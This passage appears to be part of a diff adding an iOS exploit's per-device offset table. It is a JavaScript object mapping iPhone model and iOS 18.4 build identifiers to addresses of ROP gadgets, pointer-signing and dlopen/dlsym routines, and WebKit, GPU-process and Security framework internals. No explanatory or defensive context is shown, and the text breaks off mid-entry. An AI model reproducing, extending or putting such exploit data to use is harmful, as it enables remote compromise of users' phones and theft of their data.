WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b7f8n, + WebCore__initPKContact_value: 0x1eda6b800n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69fc0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69fb8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69fa0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fc00n, + __pthread_head: 0x269740020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a55d0n, + gadget_control_1_ios184: 0x23f0ca2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f271150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d245da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfbe16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acf820n, + libGPUCompilerImplLazy__invoker: 0x23ce6f7e8n, + libGPUCompilerImplLazy_cstring: 0x23bfb9870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8caa98n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d294000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9d00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,4_22E240": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf2d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadedc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edaded20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edaded70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade168n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebe88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be7f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be4a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be4a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be4b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be3f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be4b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257ec3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ea58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62cb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b7f8n, + WebCore__initPKContact_value: 0x1eda6b800n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69fc0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69fb8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69fa0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fc00n, + __pthread_head: 0x269740020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a55d0n, + gadget_control_1_ios184: 0x23f0ca2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f271150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d245da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfbe16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acf820n, + libGPUCompilerImplLazy__invoker: 0x23ce6f7e8n, + libGPUCompilerImplLazy_cstring: 0x23bfb9870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8caa98n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d294000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9d00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,4_22E252": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf2d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadedc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edaded20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edaded70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade168n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebe88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be7f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be4a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be4a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be4b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be3f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be4b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257ec3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ea58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62cb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b7f8n, + WebCore__initPKContact_value: 0x1eda6b800n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69fc0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69fb8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69fa0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fc00n, + __pthread_head: 0x269740020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a55d0n, + gadget_control_1_ios184: 0x23f0ca2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f271150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d245da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfbe16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acf820n, + libGPUCompilerImplLazy__invoker: 0x23ce6f7e8n, + libGPUCompilerImplLazy_cstring: 0x23bfb9870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8caa98n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d294000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9d00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,5_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf2d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadedc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edaded20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edaded70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade168n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebe88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be7f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be4a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be4a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be4b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be3f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be4b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257ec3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ea58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62cb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b7f8n, + WebCore__initPKContact_value: 0x1eda6b800n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69fc0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69fb8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69fa0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fc00n, + __pthread_head: 0x269740020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a55d0n, + gadget_control_1_ios184: 0x23f0ca2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f271150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d245da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfbe16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acf820n, + libGPUCompilerImplLazy__invoker: 0x23ce6f7e8n, + libGPUCompilerImplLazy_cstring: 0x23bfb9870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8caa98n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d294000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9d00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,5_22E240": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf2d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadedc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edaded20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edaded70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade168n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebe88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be7f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be4a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be4a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be4b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be3f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be4b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257ec3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ea58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62cb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b7f8n, + WebCore__initPKContact_value: 0x1eda6b800n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69fc0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69fb8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69fa0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fc00n, + __pthread_head: 0x269740020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a55d0n, + gadget_control_1_ios184: 0x23f0ca2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f271150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d245da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfbe16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acf820n, + libGPUCompilerImplLazy__invoker: 0x23ce6f7e8n, + libGPUCompilerImplLazy_cstring: 0x23bfb9870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8caa98n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d294000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9d00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,5_22E252": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf2d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadedc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edaded20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edaded70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade168n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebe88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be7f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be4a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be4a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be4b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be3f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be4b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + 